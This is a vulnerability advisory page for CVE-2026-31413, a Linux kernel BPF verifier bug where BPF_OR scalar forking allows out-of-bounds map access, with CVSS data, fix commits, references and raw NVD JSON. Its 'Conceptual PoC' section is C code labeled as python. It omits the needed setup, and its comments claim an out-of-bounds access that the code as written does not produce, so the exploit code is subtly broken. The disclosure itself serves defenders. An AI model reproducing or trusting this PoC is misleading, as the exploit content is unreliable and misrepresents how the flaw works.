CVE-2026-31413

Description

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR maybe_fork_scalars() is called for both BPF_AND and BPF_OR when the source operand is a constant. When dst has signed range [-1, 0], it forks the verifier state: the pushed path gets dst = 0, the current path gets dst = -1. For BPF_AND this is correct: 0 & K == 0. For BPF_OR this is wrong: 0 | K == K, not 0. The pushed path therefore tracks dst as 0 when the runtime value is K, producing an exploitable verifier/runtime divergence that allows out-of-bounds map access. Fix this by passing env->insn_idx (instead of env->insn_idx + 1) to push_stack(), so the pushed path re-executes the ALU instruction with dst = 0 and naturally computes the correct result for any opcode.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Fixed by commit 342aa1ee995ef5bbf876096dc3a5e51218d76fa4)

Linux Kernel (Fixed by commit 58bd87d0e69204dbd739e4387a1edb0c4b1644e7)

Linux Kernel (Fixed by commit c845894ebd6fb43226b3118d6b017942550910c5)

Linux Kernel (Fixed by commit d13281ae7ea8902b21d99d10a2c8caf0bdec0455)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual PoC for CVE-2026-31413
// Demonstrates the verifier logic error for BPF_OR

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, __u64);
} my_map SEC(".maps");

SEC("socket")
int trigger_vuln(struct __sk_buff *skb) {
    __u32 index = 0;
    // Logic to constrain 'index' to range [-1, 0] in the verifier's eyes
    // (Specific setup code omitted for brevity)
    
    // Vulnerable operation: BPF_OR with constant
    // Verifier assumes result is 0, Runtime computes 0 | K = K
    __asm__ volatile (
        "%0 |= 0x1000;"
        : "+r"(index)
    );

    // Out-of-bounds access
    // Verifier approves because it thinks index is 0
    // Runtime executes with index = 0x1000
    return bpf_map_lookup_elem(&my_map, &index) ? 1 : 0;
}

char _license[] SEC("license") = "GPL";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31413
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31413
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31413/
[4] VulDB https://vuldb.com/cve/CVE-2026-31413
[5] https://git.kernel.org/stable/c/342aa1ee995ef5bbf876096dc3a5e51218d76fa4
[6] https://git.kernel.org/stable/c/58bd87d0e69204dbd739e4387a1edb0c4b1644e7
[7] https://git.kernel.org/stable/c/c845894ebd6fb43226b3118d6b017942550910c5
[8] https://git.kernel.org/stable/c/d13281ae7ea8902b21d99d10a2c8caf0bdec0455

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31413", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-12T06:16:20.050", "lastModified": "2026-05-20T15:49:24.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR\n\nmaybe_fork_scalars() is called for both BPF_AND and BPF_OR when the\nsource operand is a constant. When dst has signed range [-1, 0], it\nforks the verifier state: the pushed path gets dst = 0, the current\npath gets dst = -1.\n\nFor BPF_AND this is correct: 0 & K == 0.\nFor BPF_OR this is wrong: 0 | K == K, not 0.\n\nThe pushed path therefore tracks dst as 0 when the runtime value is K,\nproducing an exploitable verifier/runtime divergence that allows\nout-of-bounds map access.\n\nFix this by passing env->insn_idx (instead of env->insn_idx + 1) to\npush_stack(), so the pushed path re-executes the ALU instruction with\ndst = 0 and naturally computes the correct result for any opcode."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.75", "versionEndExcluding": "6.12.80", "matchCriteriaId": "E823EB64-1F92-40BB-891C-D94D00EDA086"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.16", "versionEndExcluding": "6.18.21", "matchCriteriaId": "6C57E63A-04BA-47E0-A942-789F7236A636"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.6", "versionEndExcluding": "6.19.11", "matchCriteriaId": "1BFE33C3-C605-4CC2-9F15-3494BA78E2C9"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/342aa1ee995ef5bbf876096dc3a5e51218d76fa4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/58bd87d0e69204dbd739e4387a1edb0c4b1644e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c845894ebd6fb43226b3118d6b017942550910c5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d13281ae7ea8902b21d99d10a2c8caf0bdec0455", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}